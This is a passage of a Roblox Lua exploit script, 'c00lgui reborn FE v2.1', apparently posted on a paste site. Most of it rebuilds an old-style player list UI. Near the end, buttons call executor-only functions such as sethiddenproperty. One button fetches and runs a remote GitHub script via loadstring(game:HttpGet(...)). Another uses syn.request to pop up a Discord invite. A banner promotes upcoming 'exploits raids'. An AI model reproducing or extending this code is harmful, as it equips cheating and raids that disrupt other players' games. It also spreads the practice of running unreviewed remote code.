  4424.             if not TEAMS_ENABLED then return end
  4425.             while NeutralTeamLock do debugprint('in neutral team 2 lock') wait() end
  4426.             NeutralTeamLock = true
  4427.    
  4428.             local defaultTeam = Instance.new('Team')
  4429.             defaultTeam.TeamColor = BrickColor.new('White')
  4430.             defaultTeam.Name = 'Neutral'
  4431.             local nentry = {}
  4432.             nentry['MyTeam'] = defaultTeam
  4433.             nentry['MyPlayers'] = {}
  4434.             nentry['Frame'] = MiddleTemplate:Clone()
  4435.             WaitForChild(WaitForChild(nentry['Frame'],'TitleFrame'),'Title').Text = defaultTeam.Name
  4436.             nentry['Frame'].TitleFrame.Position=UDim2.new(nentry['Frame'].TitleFrame.Position.X.Scale,nentry['Frame'].TitleFrame.Position.X.Offset,.1,0)
  4437.             nentry['Frame'].TitleFrame.Size=UDim2.new(nentry['Frame'].TitleFrame.Size.X.Scale,nentry['Frame'].TitleFrame.Size.X.Offset,.8,0)
  4438.             nentry['Frame'].TitleFrame.Title.Font = 'ArialBold'
  4439.             nentry['Frame'].Position = UDim2.new(1,0,((#MiddleFrames) * nentry['Frame'].Size.Y.Scale),0)
  4440.             WaitForChild(nentry['Frame'],'ClickListener').MouseButton1Down:connect(function(nx,ny) StartDrag(nentry,nx,ny) end)
  4441.             nentry['Frame'].ClickListener.BackgroundColor3 = Color3.new(1,1,1)
  4442.             nentry['Frame'].ClickListener.BackgroundTransparency = .7
  4443.             nentry['Frame'].ClickListener.AutoButtonColor=false
  4444.             nentry['AutoHide'] = true
  4445.             nentry['IsHidden'] = true
  4446.             for _,i in pairs(PlayerFrames) do
  4447.                 if i['Player'].Neutral or not i['MyTeam'] then
  4448.                     AddPlayerToTeam(nentry,i)
  4449.                 end
  4450.             end
  4451.             if #nentry['MyPlayers'] > 0 then
  4452.                 NeutralTeam = nentry
  4453.                 UpdateMinimize()
  4454.                 BaseUpdate()
  4455.             end
  4456.             NeutralTeamLock = false
  4457.         end
  4458.    
  4459.         function RemoveNeutralTeam()
  4460.             while NeutralTeamLock do debugprint('in neutral team lock') wait() end
  4461.             NeutralTeamLock = true
  4462.             NeutralTeam['Frame']:Destroy()
  4463.             NeutralTeam=nil
  4464.             RemoveMiddleBGFrame()
  4465.             NeutralTeamLock = false
  4466.         end
  4467.    
  4468.     --[[
  4469.        
  4470.     --]]
  4471.         function TeamScoreChanged(entry,nscore)
  4472.             WaitForChild(entry['Frame'],'PlayerScore').Text = tostring(nscore)
  4473.             entry['TeamScore'] = nscore
  4474.         end
  4475.     --[[
  4476.         called when child added to a team, used for autohide functionality
  4477.         Note: still has teamscore, consiter removing
  4478.     --]]
  4479.         function TeamChildAdded(entry,nchild)
  4480.             if nchild.Name == 'AutoHide' then
  4481.                 entry['AutoHide'] = true
  4482.             elseif nchild.Name == 'TeamScore' then
  4483.                 WaitForChild(entry['Frame'],'PlayerScore').Text = tostring(nchild.Value)
  4484.                 entry['TeamScore'] = nchild.Value
  4485.                 nchild.Changed:connect(function() TeamScoreChanged(entry,nchild.Value) end)
  4486.             end
  4487.         end
  4488.     --[[
  4489.         called when child added to a team, used for autohide functionality
  4490.         Note: still has teamscore, consiter removing
  4491.     --]]
  4492.         function TeamChildRemoved(entry,nchild)
  4493.             if nchild.Name == 'AutoHide' then
  4494.                 entry['AutoHide'] = false
  4495.             elseif nchild.Name == 'TeamScore' then
  4496.                 WaitForChild(entry['Frame'],'PlayerScore').Text = ""
  4497.                 entry['TeamScore'] = nil
  4498.             end
  4499.         end
  4500.    
  4501.         function TeamChanged(entry, property)
  4502.             if property=='Name' then
  4503.                 WaitForChild(WaitForChild(entry['Frame'],'TitleFrame'),'Title').Text = entry['MyTeam'].Name
  4504.    
  4505.             elseif property=='TeamColor' then
  4506.                 entry['Frame'].ClickListener.BackgroundColor3 = entry['MyTeam'].TeamColor.Color
  4507.    
  4508.                 for _,i in pairs(TeamFrames) do
  4509.                     if i['MyTeam'].TeamColor == entry['MyTeam'] then
  4510.                         RemoveTeamFrame(entry['MyTeam'])    --NO DUPLICATE TEAMS!
  4511.                     end
  4512.                 end
  4513.    
  4514.                 entry['MyPlayers']={}
  4515.    
  4516.                 for _,i in pairs(PlayerFrames) do
  4517.                     SetPlayerToTeam(i)
  4518.                 end
  4519.                 BaseUpdate()
  4520.             end
  4521.         end
  4522.    
  4523.     --[[
  4524.         creates team entry and frame for this team, sets up listeners for this team
  4525.         adds any players intended for this team,Creates neutral team if this is the first team added
  4526.         Note:might be best to break this into multiple functions to simplify
  4527.         @Args:
  4528.         nteam   new team object added
  4529.     --]]
  4530.         function InsertTeamFrame(nteam)
  4531.             if not TEAMS_ENABLED then return end
  4532.             while AddingFrameLock do debugprint('in adding team frame lock') wait(1/30) end
  4533.             AddingFrameLock = true
  4534.             --for _,i in pairs(TeamFrames) do
  4535.             local nentry = {}
  4536.             nentry['MyTeam'] = nteam
  4537.             nentry['MyPlayers'] = {}
  4538.             nentry['Frame'] = MiddleTemplate:Clone()
  4539.             WaitForChild(WaitForChild(nentry['Frame'],'TitleFrame'),'Title').Text = nteam.Name
  4540.             nentry['Frame'].TitleFrame.Title.Font = 'ArialBold'
  4541.             nentry['Frame'].TitleFrame.Title.FontSize = 'Size18'
  4542.             nentry['Frame'].TitleFrame.Position=UDim2.new(nentry['Frame'].TitleFrame.Position.X.Scale,nentry['Frame'].TitleFrame.Position.X.Offset,.1,0)
  4543.             nentry['Frame'].TitleFrame.Size=UDim2.new(nentry['Frame'].TitleFrame.Size.X.Scale,nentry['Frame'].TitleFrame.Size.X.Offset,.8,0)
  4544.             nentry['Frame'].Position = UDim2.new(1,0,((#MiddleFrames) * nentry['Frame'].Size.Y.Scale),0)
  4545.             WaitForChild(nentry['Frame'],'ClickListener').MouseButton1Down:connect(function(nx,ny) StartDrag(nentry,nx,ny) end)
  4546.             nentry['Frame'].ClickListener.BackgroundColor3 = nteam.TeamColor.Color
  4547.             nentry['Frame'].ClickListener.BackgroundTransparency = .7
  4548.             nentry['Frame'].ClickListener.AutoButtonColor=false
  4549.             AddId = AddId + 1
  4550.             nentry['ID'] = AddId
  4551.             nentry['AutoHide'] = false
  4552.             if nteam:FindFirstChild('AutoHide') then
  4553.                 nentry['AutoHide'] = true
  4554.             end
  4555.             if nteam:FindFirstChild('TeamScore') then
  4556.                 TeamChildAdded(nentry,nteam.TeamScore)
  4557.    
  4558.             end
  4559.    
  4560.             nteam.ChildAdded:connect(function(nchild) TeamChildAdded(nentry,nchild) end)
  4561.             nteam.ChildRemoved:connect(function(nchild) TeamChildRemoved(nentry,nchild) end)
  4562.             nteam.Changed:connect(function(prop) TeamChanged(nentry,prop) end)
  4563.    
  4564.             for _,i in pairs(PlayerFrames) do
  4565.                 if not i['Player'].Neutral and i['Player'].TeamColor == nteam.TeamColor then
  4566.                     AddPlayerToTeam(nentry,i)
  4567.                 end
  4568.             end
  4569.             nentry['IsHidden'] = false
  4570.             if not nentry['AutoHide'] or #nentry['MyPlayers'] > 0 then
  4571.    
  4572.                 nentry['Frame'].Parent = ListFrame
  4573.                 nentry['Frame']:TweenPosition(UDim2.new(.5,0,((#MiddleFrames) * nentry['Frame'].Size.Y.Scale),0), "Out", "Linear", BASE_TWEEN,true)
  4574.                 AddMiddleBGFrame()
  4575.             else
  4576.                 nentry['IsHidden'] = true
  4577.                 nentry['Frame'].Parent = nil
  4578.             end
  4579.    
  4580.             table.insert(TeamFrames,nentry)
  4581.             UpdateMinimize()
  4582.             BaseUpdate()
  4583.             if #TeamFrames == 1 and not NeutralTeam then
  4584.                 AddNeutralTeam()
  4585.             end
  4586.             AddingFrameLock = false
  4587.         end
  4588.     --[[
  4589.         removes team from team list
  4590.         @Args:
  4591.         nteam       Teamobject to remove
  4592.     --]]
  4593.         function RemoveTeamFrame(nteam)
  4594.             while AddingFrameLock do debugprint('in removing team frame lock') wait(1/30) end
  4595.             AddingFrameLock = true
  4596.             if IsMinimized.Value then
  4597.             end
  4598.             local myEntry
  4599.             for i,key in ipairs(TeamFrames) do
  4600.                 if nteam == key['MyTeam'] then
  4601.                     myEntry = key
  4602.                     key['Frame']:Destroy()
  4603.                     table.remove(TeamFrames,i)
  4604.                 end
  4605.             end
  4606.             if #TeamFrames==0 then
  4607.                 debugprint('removeteamframe, remove neutral')
  4608.                 if NeutralTeam then
  4609.                     RemoveNeutralTeam()
  4610.                 end
  4611.             end
  4612.             for i,key in ipairs(myEntry['MyPlayers']) do
  4613.                 RemovePlayerFromTeam(myEntry,i)
  4614.                 PlayerChanged(key, 'TeamColor')
  4615.             end
  4616.             RemoveMiddleBGFrame()
  4617.             BaseUpdate()
  4618.             AddingFrameLock = false
  4619.         end
  4620.    
  4621.         function TeamAdded(nteam)
  4622.             InsertTeamFrame(nteam)
  4623.         end
  4624.    
  4625.         function TeamRemoved(nteam)
  4626.             RemoveTeamFrame(nteam)
  4627.         end
  4628.         ---------------------------------
  4629.     --[[
  4630.         called when ANYTHING changes the state of the playerlist
  4631.         re-sorts everything,assures correct positions of all elements
  4632.     --]]
  4633.         function BaseUpdate()
  4634.             while BaseUpdateLock do debugprint('in baseupdate lock') wait(1/30) end
  4635.             BaseUpdateLock = true
  4636.             --print ('baseupdate')
  4637.             UpdateStatNames()
  4638.    
  4639.             if #TeamFrames == 0 and not NeutralTeam then
  4640.                 PlayerListModeUpdate()
  4641.             else
  4642.                 TeamListModeUpdate()
  4643.             end
  4644.             for i,key in ipairs(MiddleFrames) do
  4645.                 if key.Parent ~= nil then
  4646.                     key:TweenPosition(UDim2.new(.5,0,((#MiddleFrames - (i)) * key.Size.Y.Scale),0), "Out", "Linear", BASE_TWEEN,true)
  4647.                 end
  4648.             end
  4649.             if not IsMinimized.Value and #MiddleFrames>DefaultEntriesOnScreen then
  4650.                 UpdateScrollPosition()
  4651.             end
  4652.    
  4653.             UpdateMinimize()
  4654.    
  4655.             UpdateScrollBarSize()
  4656.             UpdateScrollPosition()
  4657.    
  4658.             UpdateScrollBarVisibility()
  4659.             --debugprint('EndBaseUpdate')
  4660.             BaseUpdateLock = false
  4661.         end
  4662.    
  4663.     --[[
  4664.         code for attaching tab key to maximizing player list
  4665.     --]]
  4666.         --game.GuiService:AddKey("\t")
  4667.         local LastTabTime = time()
  4668.         Mouse.KeyDown:connect(
  4669.             function(key)
  4670.                 if key == "\t" then
  4671.                     debugprint('caught tab key')
  4672.                     local modalCheck, isModal = pcall(function() return game.GuiService.IsModalDialog end)
  4673.                     if modalCheck == false or (modalCheck and isModal == false) then
  4674.                         if time() - LastTabTime > 0.4 then
  4675.                             LastTabTime = time()
  4676.                             if IsTabified.Value then
  4677.                                 if not IsMaximized.Value then
  4678.                                     ScreenGui:TweenPosition(UDim2.new(0, 0, 0,0),'Out','Linear',BASE_TWEEN*1.2,true)
  4679.                                     IsMaximized.Value = true
  4680.                                 else
  4681.                                     ScreenGui:TweenPosition(UDim2.new(NormalBounds.X.Scale, NormalBounds.X.Offset-10, 0,0),'Out','Linear',BASE_TWEEN*1.2,true)
  4682.                                     IsMaximized.Value = false
  4683.                                     IsMinimized.Value=true
  4684.                                 end
  4685.                             else
  4686.                                 ToggleMaximize()
  4687.                             end
  4688.    
  4689.                         end
  4690.                     end
  4691.                 end
  4692.             end)
  4693.    
  4694.    
  4695.         function PlayersChildAdded(tplayer)
  4696.             if tplayer:IsA('Player') then
  4697.                 Spawn(function() debugPlayerAdd(tplayer) end)
  4698.             else
  4699.                 BlowThisPopsicleStand()
  4700.             end
  4701.         end
  4702.    
  4703.         function coreGuiChanged(coreGuiType, enabled)
  4704.             --  if coreGuiType == Enum.CoreGuiType.All or coreGuiType == Enum.CoreGuiType.PlayerList then
  4705.             --      MainFrame.Visible = enabled
  4706.             --  end
  4707.         end
  4708.    
  4709.         function TeamsChildAdded(nteam)
  4710.             if nteam:IsA('Team') then
  4711.                 TeamAdded(nteam)
  4712.             else
  4713.                 BlowThisPopsicleStand()
  4714.             end
  4715.         end
  4716.    
  4717.         function TeamsChildRemoved(nteam)
  4718.             if nteam:IsA('Team')  then
  4719.                 TeamRemoved(nteam)
  4720.             else
  4721.                 BlowThisPopsicleStand()
  4722.             end
  4723.         end
  4724.    
  4725.         ----------------------------  
  4726.         -- Hookups and initialization
  4727.         ----------------------------  
  4728.         function debugPlayerAdd(p)
  4729.             InsertPlayerFrame(p)
  4730.         end
  4731.    
  4732.         pcall(function()
  4733.             coreGuiChanged(Enum.CoreGuiType.PlayerList, Game.StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList))
  4734.             Game.StarterGui.CoreGuiChangedSignal:connect(coreGuiChanged)
  4735.         end)
  4736.    
  4737.         while not game:GetService('Teams') do wait(1/30) debugprint('Waiting For Teams') end
  4738.         for _,i in pairs(game.Teams:GetTeams()) do TeamAdded(i) end
  4739.         for _,i in pairs(Players:GetPlayers()) do Spawn(function() debugPlayerAdd(i) end) end
  4740.    
  4741.         game.Teams.ChildAdded:connect(TeamsChildAdded)
  4742.         game.Teams.ChildRemoved:connect(TeamsChildRemoved)
  4743.         Players.ChildAdded:connect(PlayersChildAdded)
  4744.    
  4745.         InitReportAbuse()
  4746.         AreNamesExpanded.Value = true
  4747.         BaseUpdate()
  4748.    
  4749.    
  4750.    
  4751.         --UGGGLY,find a better way later
  4752.         --wait(2)
  4753.         IsPersonalServer= not not game.Workspace:FindFirstChild("PSVariable")
  4754.    
  4755.         ----------------------------  
  4756.         -- Running Logic
  4757.         ----------------------------
  4758.    
  4759.         --debug stuffs, will only run for 'newplayerlistisbad'
  4760.         if LocalPlayer.Name == 'newplayerlistisbad' or LocalPlayer.Name == 'imtotallyadmin' then
  4761.             debugFrame.Parent = ScreenGui
  4762.             Spawn(function()
  4763.                 while true do
  4764.                     local str_players=''
  4765.                     for _,i in pairs(game.Players:GetPlayers()) do
  4766.                         str_players= str_players .." " .. i.Name
  4767.                     end
  4768.                     debugplayers.Text=str_players
  4769.                     wait(.5)
  4770.                 end
  4771.             end)
  4772.         end
  4773.         end)
  4774. end
  4775. coroutine.wrap(PLEGWK_fake_script)()
  4776. local function ZGBJWN_fake_script() -- oldgraphics.LocalScript
  4777.     local script = Instance.new('LocalScript', oldgraphics)
  4778.  
  4779.     script.Parent.MouseButton1Click:Connect(function()
  4780.         local cc = Instance.new("ColorCorrectionEffect")
  4781.         local lighting = game:GetService("Lighting")
  4782.    
  4783.         --// hd killer
  4784.         local ihateu = {"DepthOfFieldEffect", "SunRaysEffect", "BloomEffect", "BlurEffect", "ColorCorrectionEffect", "Atmosphere"}
  4785.         for i, v in pairs(lighting:GetChildren()) do
  4786.             for index, value in ipairs(ihateu) do
  4787.                 if v:IsA(value) then
  4788.                     v:Destroy()
  4789.                 end
  4790.             end
  4791.         end
  4792.    
  4793.         --// setup
  4794.         lighting.GlobalShadows = false
  4795.    
  4796.         sethiddenproperty(lighting, "Technology", Enum.Technology.Compatibility)
  4797.    
  4798.         end)
  4799. end
  4800. coroutine.wrap(ZGBJWN_fake_script)()
  4801. local function XDVNK_fake_script() -- oldcons.LocalScript
  4802.     local script = Instance.new('LocalScript', oldcons)
  4803.  
  4804.     script.Parent.MouseButton1Click:Connect(function()
  4805.         loadstring(game:HttpGet("https://raw.githubusercontent.com/specowos/lua-projects/main/project%202016%3A%20Remastered/modules/old_console.lua"))();
  4806.         end)
  4807. end
  4808. coroutine.wrap(XDVNK_fake_script)()
  4809. local function DMMYFZN_fake_script() -- oldcursor.LocalScript
  4810.     local script = Instance.new('LocalScript', oldcursor)
  4811.  
  4812.     script.Parent.MouseButton1Click:Connect(function()
  4813.         local mouse = game:GetService("Players").LocalPlayer:GetMouse()
  4814.         mouse.Icon = 'rbxasset://textures/ArrowFarCursor.png'
  4815.         end)
  4816. end
  4817. coroutine.wrap(DMMYFZN_fake_script)()
  4818. local function NXFAQE_fake_script() -- no5.LocalScript
  4819.     local script = Instance.new('LocalScript', no5)
  4820.  
  4821.     script.Parent.MouseButton1Click:Connect(function()
  4822.    
  4823.         end)
  4824. end
  4825. coroutine.wrap(NXFAQE_fake_script)()
  4826. local function TGZEQUZ_fake_script() -- no3.LocalScript
  4827.     local script = Instance.new('LocalScript', no3)
  4828.  
  4829.     script.Parent.MouseButton1Click:Connect(function()
  4830.    
  4831.         end)
  4832. end
  4833. coroutine.wrap(TGZEQUZ_fake_script)()
  4834. local function HZUQ_fake_script() -- no2.LocalScript
  4835.     local script = Instance.new('LocalScript', no2)
  4836.  
  4837.     script.Parent.MouseButton1Click:Connect(function()
  4838.    
  4839.         end)
  4840. end
  4841. coroutine.wrap(HZUQ_fake_script)()
  4842. local function XQUP_fake_script() -- no.LocalScript
  4843.     local script = Instance.new('LocalScript', no)
  4844.  
  4845.     script.Parent.MouseButton1Click:Connect(function()
  4846.        
  4847.         end)
  4848. end
  4849. coroutine.wrap(XQUP_fake_script)()
  4850. local function NIYLZA_fake_script() -- no4.LocalScript
  4851.     local script = Instance.new('LocalScript', no4)
  4852.  
  4853.     script.Parent.MouseButton1Click:Connect(function()
  4854.    
  4855.         end)
  4856. end
  4857. coroutine.wrap(NIYLZA_fake_script)()
  4858. local function KQEL_fake_script() -- Text.LocalScript
  4859.     local script = Instance.new('LocalScript', Text)
  4860.  
  4861.     script.Parent.Text = "Thank you for using c00lgui reborn FE v2.1.\n \nNeed support or changelogs? \n \nJoin us : discord.gg/cSH24nTFWV \n \nPrepare for 12/07/2023 exploits raids! \n \nSpecial thanks to : Mokny, USD317, NiceMan And everyone from team c00lkidd! \n \nShoutout to MasterMZ for showcasing the script!"
  4862. end
  4863. coroutine.wrap(KQEL_fake_script)()
  4864. local function EJUCANX_fake_script() -- CloseOpen.LocalScript
  4865.     local script = Instance.new('LocalScript', CloseOpen)
  4866.  
  4867.     script.Parent.MouseButton1Click:Connect(function()
  4868.         if script.Parent.Text == "Close" then
  4869.             script.Parent.Parent.Frame.Visible = false
  4870.             script.Parent.Text = "Open" else
  4871.             script.Parent.Parent.Frame.Visible = true
  4872.             script.Parent.Text = "Close"   
  4873.         end
  4874.     end)
  4875. end
  4876. coroutine.wrap(EJUCANX_fake_script)()
  4877. local function LAUV_fake_script() -- c00lguiFE.LocalScript
  4878.     local script = Instance.new('LocalScript', c00lguiFE)
  4879.  
  4880.     local Function = Instance.new("BindableFunction")
  4881.    
  4882.     function promptDicordInvite(invCode)
  4883.         local httpService = game:GetService("HttpService")
  4884.         local httpRequest = (syn and syn.request) or (httpService and httpService.request) or (http_request)
  4885.    
  4886.         if not httpRequest then print("Exploit not supported. No HTTP found.") return end
  4887.    
  4888.         httpRequest({
  4889.             Url = "http://127.0.0.1:6463/rpc?v=1",
  4890.             Method = "POST",
  4891.    
  4892.             Headers = {
  4893.                 ['Content-Type'] = 'application/json',
  4894.                 Origin = 'https://discord.com'
  4895.             },
  4896.    
  4897.             Body = httpService:JSONEncode({
  4898.                 cmd = 'INVITE_BROWSER',
  4899.                 nonce = httpService:GenerateGUID(false),
  4900.                 args = {code = invCode}
  4901.             })
  4902.    
  4903.         })
  4904.     end
  4905.    
  4906.     function Function.OnInvoke(response)
  4907.         if response == "Yes" then
  4908.             promptDicordInvite("cSH24nTFWV")
  4909.         end
  4910.     end
  4911.    
  4912.    
  4913.     game:GetService("StarterGui"):SetCore("SendNotification", {
  4914.         Title = "c00lgui reborn FE",
  4915.         Text = "Do you want to join the discord server?",
  4916.         Icon = "http://www.roblox.com/asset/?id=158118263",
  4917.         Duration = math.huge,
  4918.         Button1 = "Yes",
  4919.         Button2 = "No",
  4920.         Callback = Function
  4921.     })
  4922.    
  4923.     wait(2)
  4924.    
  4925.     game:GetService("StarterGui"):SetCore("SendNotification", {
  4926.         Title = "Scripts credits",
  4927.         Text = "Credits goes to their owners :)",
  4928.         Icon = "http://www.roblox.com/asset/?id=158118263",
  4929.         Duration = math.huge,
  4930.         Button1 = "Ok",
  4931.     })
  4932. end
  4933. coroutine.wrap(LAUV_fake_script)()
  4934.  
Add Comment
Please, Sign In to add comment